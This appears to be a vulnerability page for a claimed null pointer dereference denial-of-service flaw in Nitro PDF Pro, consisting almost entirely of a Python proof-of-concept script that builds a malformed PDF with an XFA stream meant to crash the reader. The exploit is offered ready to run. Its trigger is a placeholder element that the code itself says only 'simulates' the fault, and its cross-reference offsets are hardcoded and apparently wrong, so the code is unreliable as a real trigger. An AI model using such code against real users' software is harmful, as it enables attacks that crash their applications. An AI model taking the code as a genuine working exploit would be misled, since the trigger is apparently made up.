CVE-2025-66769: Nitro PDF Pro空指针解引用DoS漏洞

import struct def create_malicious_pdf(filename): # Minimal PDF structure with malformed XFA pdf_header = b"%PDF-1.4\n" obj_1 = b"1 0 obj\n<< /Type /Catalog /Pages 2 0 R /AcroForm << /XFA 3 0 R >> >>\nendobj\n" obj_2 = b"2 0 obj\n<< /Type /Pages /Kids [4 0 R] /Count 1 >>\nendobj\n" obj_3 = b"3 0 obj\n<< /Type /XFA /DataStream 5 0 R >>\nendobj\n" obj_4 = b"4 0 obj\n<< /Type /Page /Parent 2 0 R /Resources << /Font << /F1 6 0 R >> >> /MediaBox [0 0 612 792] /Contents 7 0 R >>\nendobj\n" # Malformed XFA stream designed to trigger Null Pointer Dereference # This payload simulates a structure that causes the parser to dereference a null pointer xfa_payload = b"<xdp:xdp xmlns:xdp='http://ns.adobe.com/xdp/'><trigger_crash>null_ptr_ref</trigger_crash></xdp:xdp>" obj_5 = f"5 0 obj\n<< /Length {len(xfa_payload)} >>\nstream\n{xfa_payload.decode('latin1')}\nendstream\nendobj\n".encode('latin1') obj_6 = b"6 0 obj\n<< /Type /Font /Subtype /Type1 /BaseFont /Helvetica >>\nendobj\n" obj_7 = b"7 0 obj\n<< /Length 0 >>\nstream\nendstream\nendobj\n" xref = b"xref\n0 8\n0000000000 65535 f \n0000000009 00000 n \n0000000095 00000 n \n0000000154 00000 n \n0000000213 00000 n \n0000000365 00000 n \n0000000475 00000 n \n0000000544 00000 n \n" trailer = b"trailer\n<< /Size 8 /Root 1 0 R >>\nstartxref\n613\n%%EOF" with open(filename, 'wb') as f: f.write(pdf_header + obj_1 + obj_2 + obj_3 + obj_4 + obj_5 + obj_6 + obj_7 + xref + trailer) # Generate the PoC file create_malicious_pdf('exploit_cve_2025_66769.pdf')